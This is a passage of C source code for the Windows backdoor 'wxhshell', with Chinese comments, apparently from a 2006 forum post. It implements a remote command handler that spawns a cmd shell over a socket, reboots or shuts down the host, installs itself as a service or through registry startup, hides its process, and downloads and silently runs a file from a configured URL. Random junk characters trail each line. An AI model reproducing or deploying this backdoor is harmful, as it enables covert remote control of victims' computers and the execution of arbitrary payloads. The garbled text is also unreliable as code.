  case '?': { 3wo'jOb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I<KCt2:X  
    break; ovSH}h!  
  } "G@E6{/  
  // 安装 ' rvE  
  case 'i': { /wlFD,+8  
    if(Install()) I[%M!_+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5E0wn'  
    else RB *P0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <a fO 6?`  
    break; ] .`_, IO  
    } k3#wLJ  
  // 卸载 5DUi4 Cbgy  
  case 'r': { qNy-o\;XN  
    if(Uninstall()) `}Eh[EOHJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lj Y  
    else Z"]xdOre  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c{ 7<H  
    break; !;jgzi?z  
    } \:h0w;34O  
  // 显示 wxhshell 所在路径 Eh:yR J_8  
  case 'p': { 3+j^E6@  
    char svExeFile[MAX_PATH]; >ks3WMm  
    strcpy(svExeFile,"\n\r"); *s~i 2}  
      strcat(svExeFile,ExeFile); kM,@[V  
        send(wsh,svExeFile,strlen(svExeFile),0); 0+rW;-_(  
    break; DgVyy&7>  
    } :Fc8S9  
  // 重启 -&$%|cyThQ  
  case 'b': { K` 2i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ps "9;4P  
    if(Boot(REBOOT)) Vl-D<M+i h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y&h~Oa?,;  
    else { VYHOk3  
    closesocket(wsh); #U:0/4P(  
    ExitThread(0); b13nE .  
    } YN$`y1V  
    break; ["<5?!bU  
    } 3eJ\aVI>pE  
  // 关机 waBRQh  
  case 'd': { @\+%GDv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M`(;>Kp7  
    if(Boot(SHUTDOWN)) {rz>^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sFCf\y  
    else { K[n<+e;G  
    closesocket(wsh); 6R L~iD;X  
    ExitThread(0); b#e]1Q  
    } @PKAz&0  
    break; 4_WH 6Z  
    } v [dAywW  
  // 获取shell $vz_%Y  
  case 's': { OW?uZ<z  
    CmdShell(wsh); 9OH.&g  
    closesocket(wsh); `..EQ BM  
    ExitThread(0); dWMccn;-m  
    break; 3Nc'3NPQ'  
  } [1e.i  
  // 退出 `Y0fst<,  
  case 'x': { xNn>+J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /\nJ  
    CloseIt(wsh); .x]'eq}  
    break; BF>T*Z-Ki  
    } 1xq3RD  
  // 离开 %s]U@Ku(a  
  case 'q': { dP?nP(l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nMLU-C!t  
    closesocket(wsh); Hi$#!OU  
    WSACleanup(); `Yg7,{A\J  
    exit(1); gfV]^v  
    break; 9+W!k^VWq  
        } RzMA\r;#  
  } P>>f{3e.  
  } y|$vtD%c  
1<;\6sg  
  // 提示信息 e og\pMv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {_rZRyr  
} 'W}~)+zK  
  } g9M')8a n  
llHN2R%(  
  return; 4 fZY8  
} 8moUK3w  
?0? x+  
// shell模块句柄 l# }As.o}  
int CmdShell(SOCKET sock) :P HUsy  
{ `^?}s-H+  
STARTUPINFO si; )Uc$t${en  
ZeroMemory(&si,sizeof(si)); )r-T=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }_Tt1iai*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IvY,9D  
PROCESS_INFORMATION ProcessInfo; _3s~!2  
char cmdline[]="cmd"; Iq^~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c(QG4.)m  
  return 0; ?ykVfO'  
} [Od>NO,n+]  
vx({N?  
// 自身启动模式 d4b 9rtM  
int StartFromService(void) #9URVq,  
{ v(i1Z}*b  
typedef struct MtMvpHk  
{ xC= y^- 1  
  DWORD ExitStatus; Y{+zg9L*  
  DWORD PebBaseAddress; 7qCJ]%)b6  
  DWORD AffinityMask; !#}v:~[A  
  DWORD BasePriority; AsTMY02|  
  ULONG UniqueProcessId; Fr1;)WV  
  ULONG InheritedFromUniqueProcessId; md1EJ1\14  
}   PROCESS_BASIC_INFORMATION; 2tm~QL  
`V?x xq\  
PROCNTQSIP NtQueryInformationProcess; XLkL#&Ir  
_lP4ez Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ukk-(gjX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UchALR^5  
i{Y=!r5r  
  HANDLE             hProcess; K,`).YK  
  PROCESS_BASIC_INFORMATION pbi; IKNFYe[9e  
Jnh;;<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =;~%L  
  if(NULL == hInst ) return 0; s!8J.hD'I  
W}#QKZ)MB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G%V=idU*"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EuR!yD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1puEP *P  
;oN{I@}k  
  if (!NtQueryInformationProcess) return 0; jKY Aid{-  
L%c]%3A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8:3oH!n  
  if(!hProcess) return 0; YyQf  
BN<#x@m$]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V0SW 5 m  
=)"NE>  
  CloseHandle(hProcess); | TQedC  
3&drof\{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n?<# {$  
if(hProcess==NULL) return 0; .N2nJ/   
ZuF4N=;  
HMODULE hMod; ECmHy@(  
char procName[255]; $71D)*{P  
unsigned long cbNeeded; a"v"n$  
4)x3!Ol  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DK#65H'  
ihpz}g  
  CloseHandle(hProcess); Z~-T0Ab-  
f)u*Q!BDD  
if(strstr(procName,"services")) return 1; // 以服务启动 %x cM_|AyR  
zm;*:]S  
  return 0; // 注册表启动 s +y'<88  
} (Fbm9(q$d  
} K+Q9<~u  
// 主模块 hJ$C%1;  
int StartWxhshell(LPSTR lpCmdLine) jm#F*F vL  
{ Q G=-LXv:@  
  SOCKET wsl; ,q'gG`M N  
BOOL val=TRUE; eMpEFY  
  int port=0; g%fJyk'  
  struct sockaddr_in door; B $ y44  
R:pBbA7E  
  if(wscfg.ws_autoins) Install(); qH {8n`  
-Y 6.?z  
port=atoi(lpCmdLine); 8JjU 9#  
^t/'dfF  
if(port<=0) port=wscfg.ws_port; `a/PIc"  
1drqWI~  
  WSADATA data; Z;"4$@|qE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WacU@L $A  
KL:6P-3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &}L36|A:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eezlx9b  
  door.sin_family = AF_INET; $Z(g=nS>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )\I? EU8  
  door.sin_port = htons(port); Up!ZCZ$RC  
<x>k3bD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5m%baf2_  
closesocket(wsl); alb+R$s  
return 1; ]"2 v7)e  
} E{+c*sz  
98b9%Z'2f  
  if(listen(wsl,2) == INVALID_SOCKET) { 5b{yA~ty  
closesocket(wsl); E |GK3/  
return 1; QBPvGnb  
} ^ T:qT*v  
  Wxhshell(wsl); %x'bo>h@  
  WSACleanup(); 3wa<,^kqy  
r:8]\RU  
return 0; ]\os`At  
:>er^\  
} -UD~>s  
NZ%~n:/V#  
// 以NT服务方式启动 ?V\9,BTb)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0,L$x*Nj5  
{ g qJEJ~  
DWORD   status = 0; Cr V2 V)|G  
  DWORD   specificError = 0xfffffff; ~\@<8@N2a6  
:}3qZX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^*?B)D=,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wE8a4.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /F8\%l+  
  serviceStatus.dwWin32ExitCode     = 0; xJF6l!`  
  serviceStatus.dwServiceSpecificExitCode = 0; \$~oH3m&  
  serviceStatus.dwCheckPoint       = 0; 0imqj7L  
  serviceStatus.dwWaitHint       = 0; _'v }=:X  
u=v%7c2Mx}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ae{4AZ  
  if (hServiceStatusHandle==0) return; H>X>5_{}  
Z.Y;[Y  
status = GetLastError(); qqom$H<  
  if (status!=NO_ERROR) "ZJ1`R=Mj  
{ J:mu%N`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (fk, 80  
    serviceStatus.dwCheckPoint       = 0; 2 Zjb/  
    serviceStatus.dwWaitHint       = 0; ,T21z}r  
    serviceStatus.dwWin32ExitCode     = status; eM1;Nl  
    serviceStatus.dwServiceSpecificExitCode = specificError; EB3o8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]RrP !|^  
    return; }r<@o3t  
  } \Q?|gfJH  
{GH`V}Ob  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7L~ zI>2  
  serviceStatus.dwCheckPoint       = 0; h7W%}6Cqkw  
  serviceStatus.dwWaitHint       = 0; f'i8Mm4IL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =Q=&Ucf_  
} g`5`KU|  
Uc4 L|:  
// 处理NT服务事件,比如:启动、停止 GZhfA ;O,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d;jJe0pH  
{ }^ Ua  
switch(fdwControl) <{z3p:\  
{ L ugk`NUvF  
case SERVICE_CONTROL_STOP: CXP $bt}  
  serviceStatus.dwWin32ExitCode = 0; Q3'B$,3O^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M;TfD  
  serviceStatus.dwCheckPoint   = 0; "JUQ)> !?  
  serviceStatus.dwWaitHint     = 0; ]x(2}h^ S  
  { !K^Z5A_;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s*~jvL  
  } :Z]+Z_9p  
  return; LOb'<R\p  
case SERVICE_CONTROL_PAUSE: f w>Gx9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M_.,c Vk  
  break; }$k`[ivBx(  
case SERVICE_CONTROL_CONTINUE: eze(>0\f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fe9& V2Uu  
  break; luz%FY:  
case SERVICE_CONTROL_INTERROGATE: Qpv}N*v^  
  break; f$S QhK5`  
}; +8vzkfr3It  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Ae,|k  
} g$-D?~(Z  
3f2Hjk7,d  
// 标准应用程序主函数 ; R|#ae@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ :b:_ 5"  
{ ^(m6g&$(  
]{6yS9_tuI  
// 获取操作系统版本 Q}f}Jf3P  
OsIsNt=GetOsVer(); N5an9r&z(1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (7jB_ p%  
$I6eHjYT  
  // 从命令行安装 io33+/  
  if(strpbrk(lpCmdLine,"iI")) Install(); GqD!W8+  
Lvj5<4h;  
  // 下载执行文件 m<'xlF  
if(wscfg.ws_downexe) { |KrG3-i3X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .8PO7#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 't%%hw-m}  
} %WT:RT_  
$J0~2TV<  
if(!OsIsNt) { Gx*0$4xJ3  
// 如果时win9x,隐藏进程并且设置为注册表启动 [.Wt,zrE  
HideProc(); 1 GHgwT  
StartWxhshell(lpCmdLine); .fh?=B[o#  
} M^JZ]W(  
else dVG UhXN6  
  if(StartFromService()) *=If1qZs  
  // 以服务方式启动 ~md|k  
  StartServiceCtrlDispatcher(DispatchTable); ^FMa8;'o  
else .rB;zA;4S)  
  // 普通方式启动 n ua8y(W  
  StartWxhshell(lpCmdLine); &MQt2aL  
*u4X<oBS*  
return 0; kRXg."b(  
}
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只看该作者 1 发表于: 2006-10-10
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